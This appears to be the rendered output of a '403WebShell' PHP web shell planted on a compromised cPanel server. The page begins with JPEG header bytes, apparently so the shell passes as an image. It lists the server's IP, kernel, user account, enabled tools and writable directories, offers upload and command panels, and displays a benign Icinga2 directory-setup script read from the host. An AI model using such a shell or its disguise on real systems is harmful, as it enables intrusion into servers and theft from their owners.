����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.133.113.101
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/icinga2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/icinga2/prepare-dirs
#!/bin/sh
#
# This script prepares directories and files needed for running Icinga2
#

# Load sysconf on systems where the initsystem does not pass the environment
if [ "$1" != "" ]; then
	if [ -r "$1" ]; then
		. "$1"
	else
		echo "Unable to read sysconf from '$1'. Exiting." && exit 6
	fi
fi

# Set defaults, to overwrite see "/etc/sysconfig/icinga2"

: "${ICINGA2_USER:="icinga"}"
: "${ICINGA2_GROUP:="icinga"}"
: "${ICINGA2_COMMAND_GROUP:="icingacmd"}"
: "${ICINGA2_INIT_RUN_DIR:="/run/icinga2"}"
: "${ICINGA2_LOG_DIR:="/var/log/icinga2"}"
: "${ICINGA2_CACHE_DIR:="/var/cache/icinga2"}"

if ! getent passwd "$ICINGA2_USER" >/dev/null 2>&1; then
	echo "Icinga user '$ICINGA2_USER' does not exist. Exiting."
	exit 6
fi

if ! getent group "$ICINGA2_GROUP" >/dev/null 2>&1; then
	echo "Icinga group '$ICINGA2_GROUP' does not exist. Exiting."
	exit 6
fi

if ! getent group "$ICINGA2_COMMAND_GROUP" >/dev/null 2>&1; then
	echo "Icinga command group '$ICINGA2_COMMAND_GROUP' does not exist. Exiting."
	exit 6
fi

if [ ! -e "$ICINGA2_INIT_RUN_DIR" ]; then
	mkdir -m 755 "$ICINGA2_INIT_RUN_DIR"
	mkdir -m 2750 "$ICINGA2_INIT_RUN_DIR"/cmd
fi

chown -R "$ICINGA2_USER:$ICINGA2_COMMAND_GROUP" "$ICINGA2_INIT_RUN_DIR"

test -e "$ICINGA2_LOG_DIR" || install -m 750 -o "$ICINGA2_USER" -g "$ICINGA2_COMMAND_GROUP" -d "$ICINGA2_LOG_DIR"

if type restorecon >/dev/null 2>&1; then
	restorecon -R "$ICINGA2_INIT_RUN_DIR"/
fi

test -e "$ICINGA2_CACHE_DIR" || install -m 750 -o "$ICINGA2_USER" -g "$ICINGA2_COMMAND_GROUP" -d "$ICINGA2_CACHE_DIR"

Youez - 2016 - github.com/yon3zu
LinuXploit